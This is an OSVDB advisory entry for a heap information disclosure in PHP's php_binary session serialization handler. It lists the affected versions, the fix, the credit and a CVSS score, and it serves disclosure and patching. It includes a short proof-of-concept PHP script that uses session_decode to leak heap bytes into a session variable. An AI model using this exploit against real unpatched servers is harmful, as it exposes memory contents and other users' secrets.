32776 : PHP Session Extension php_binary Heap Information Disclosure
Printer | http://osvdb.org/32776 | Email This | Edit Vulnerability

Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete
3 416 over 3 years ago over 2 years ago 0 times 100%

Timeline

Disclosure Date Exploit Publish Date
2007-02-09 2007-03-05

Keywords

HPSBMA02215, SSRT071423

Description

The php_binary serialization handler in the PHP session extension is missing a boundary check and may lead to an unauthorized information disclosure. The condition is triggered during the extraction of an overly long php_binary session data format variable name, which will disclose up to 126 bytes of heap data into PHP variables, resulting in a loss of confidentiality.

Classification

Location: Remote / Network Access
Attack Type: Information Disclosure
Impact: Loss of Confidentiality
Exploit: Exploit Public
Disclosure: OSVDB Verified
OSVDB: Concern

Technical

The php_binary session data format contains one entry per serialized variable.
Every entry contains:
- one byte size field containing the length of the variable name
- the variable name
- serialized data

------------
Exploit Code
------------
<?php
die("REMOVE THIS LINE");
ini_set("session.serialize_handler", "php_binary");
session_start();
$x = chr(36).str_repeat("A", 36)."N;".chr(127);
$data = $x;
session_decode($data);
$keys = array_keys($_SESSION);
$heapdump = $keys[1];
// code for reading from $heapdump goes here
?>

Solution

Upgrade to PHP versions 4.4.5 or higher and PHP 5.2.1 or higher, as they have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

The PHP Group
Watch-list
PHP
Watch-list
5.2.1
5.2.0
5.1.x
5.0.x
5.0 Release Candidate 3
5.0 Release Candidate 2
5.0 Release Candidate 1
5.0 Beta 4
5.0 Beta 3
5.0 Beta 2
5.0 Beta 1
4.4.6
4.4.5
4.4.4
4.4.3
4.4.2
4.4.1
4.4.0
4.3.x
4.2.x
4.1.x
4.0.x
4.0, Release Candidate 2
4.0, Release Candidate 1
4.0 Beta 4
4.0 Beta 3
4.0 Beta 2
4.0 Beta 1
3.x

References

Tools & Filters

24887 25099 25100 25317 27150 28053 29378
3857

Credit

  • Stefan Esser - sesserhardened-php.net - www.hardened-php.net

CVSSv2 Score

CVSSv2 Base Score = 5.0
Source: nvd.nist.gov | Generated: 2007-03-12 | Disagree?

Access_vector_2 Access_complexity_2 Authentication_2 Confidentiality_impact_1 Integrity_impact_0 Availability_impact_0

Blogs

This section lists the latest news and blogs found via the daylife API (and for older items, the technorati API), which mention or otherwise discuss this vulnerability.

None found at this time

Comments

No Comments.

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2010 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use